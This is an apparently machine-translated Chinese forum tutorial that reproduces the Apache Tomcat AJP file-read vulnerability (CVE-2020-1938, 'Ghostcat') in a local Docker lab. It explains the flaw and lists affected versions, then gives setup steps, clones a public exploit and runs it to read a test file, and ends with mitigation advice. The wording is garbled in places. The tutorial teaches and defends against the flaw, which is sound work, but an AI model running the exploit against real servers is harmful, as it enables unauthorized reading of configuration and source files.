Apache Tomcat文件包罗毛病复现(详细教程)

打印 上一主题 下一主题

主题 647|帖子 647|积分 1941

1.毛病原理

  Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp毗连器,方便与其他web服务器通过ajp协议举行交互。属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场所下被普遍使用,是开发和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,别的它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。不外,Tomcat处理静态HTML的本领不如Apache服务器。Tomcat是Apache开源构造开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP毗连器,方便与其他Web服务器通过AJP协议举行交互。而该毛病是由于Tomcat AJP协议存在缺陷而导致,攻击者可通过构造特定参数读取webapp目次下的任意文件。
2.毛病概述与分析

Tomcat是Apache开源构造开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包罗毛病,攻击者可利用该毛病读取或包罗 Tomcat 上所有 webapp 目次下的任意文件,如:webapp 设置文件或源代码等。
AJP Connector
Apache Tomcat服务器通过Connector毗连器组件与客户程序建立毗连,Connector表示吸收哀求并返回相应的端点。即Connector组件负责吸收客户的哀求,以及把Tomcat服务器的相应效果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口,就是所谓的Http Connector,使用Http(HTTP/1.1)协议
在conf/server.xml文件里,他对应的设置为
<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort="8443" />而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol)是定向包协议。由于性能缘故原由,使用二进制格式来传输可读性文本,它能低落 HTTP 哀求的处理成本,因此主要在必要集群、反向代理的场景被使用。
Ajp协议对应的设置为
<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443" />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Apache 服务器
(1)AJP是一个二进制的TCP传输协议。欣赏器无法使用AJP,而是首先由Apache与Tomca举行AJP的通讯,然后由Apache通过proxy_ajp模块举行反向代理,将其转换成 HTTP服务器再暴露给用户,答应用户举行访问。
(2)如许做的缘故原由是,相对于HTTP纯文本协议来说,效率和性能更高,同时也做了很多优化。在某种程度上,AJP可以明确为HTTP的二进制版,因加快传输效率被广泛应用。现实情况是雷同Apache如许有proxy_ajp模块可以反向代理AJP协议的服务器很少,所以 AJP协议在生产环境中也很少被用到。
3.影响范围

Apache Tomcat 6
Tomcat 7系列  <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
4.搭建缺点环境

4.1 Ubuntu
4.2 更新资源update
4.3 安装docker
sudo apt-get update
sudo apt-get install docker
sudo apt-get install docker.io
sudo apt-get install docker-registry
sudo docker version

4.4 安装nmap
apt-get install nmap

4.5 安装Tomcat
docker search Tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32

4.6 查看拉取的Tomcat镜像
docker images

4.7 启动镜像
Docker run -d -p 8080:8080 -p 8009:8009 --name
ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat

4.8 查看ip地址为192.168.86.129
ifconfig -a

4.9 欣赏器可以访问Tomcat页面表示环境搭建成功
192.168.86.129:8080

5.毛病复现

5.1
docker exec -it ghostcat /bin/bash
cd webapps/ROOT/

5.2 添加测试文件
echo ‘this is CVE-2020-1938’>test.txt
ls
cat test.txt

5.3
exp地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
ls

5.4
cd CNVD-2020-10487-Tomcat-Ajp-lfi/
ls
chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py
ls

5.5 利用exp读取该文件
./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129

测试读取成功
6.毛病修复、防御方法

Apache Tomcat文件包罗毛病修复方式为更新高版本,如今Apache官方已发布9.0.31、8.5.51及7.0.100版本对此毛病举行修复,假如相关用户临时无法举行版本升级,可根据自身情况接纳下列防护措施:若不必要使用Tomcat AJP协议,可直接关闭AJP Connector,或将其监听地址改为仅监听本机localhost;若需使用Tomcat AJP协议,可根据使用版本设置协议属性设置认证凭证。如下:
1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本举行修复。
2、禁用或限制AJP协议。
编辑 /conf/server.xml,找到如下行:
<Connector port="8009"protocol=“AJP/1.3” redirectPort=“8443” />
将此行表明掉(也可删掉该行):
设置secret来设置AJP协议的认证凭证。
例如(留意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被容易猜解的值):
<Connector port="8009"protocol=“AJP/1.3” redirectPort="8443"address=“YOUR_TOMCAT_IP_ADDRESS” secret=“YOUR_TOMCAT_AJP_SECRET”/>
3.设置访问控制:公道设置访问控制是防范毛病的重要措施之一。通过设置适当的访问控制计谋,可以限制对敏感文件的访问,并仅答应授权用户举行相关操作。
4.定期监测和更新:定期监测毛病信息和安全公告,并实时更新相关软件和补丁,以确保系统的安全性和稳定性。
5.强化服务器安全性:除了针对特定毛病采取措施外,还应加强整个服务器的安全性。例如,使用防火墙限制对服务器的访问、启用Web应用程序防火墙(WAF)、设置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。







免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

宝塔山

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表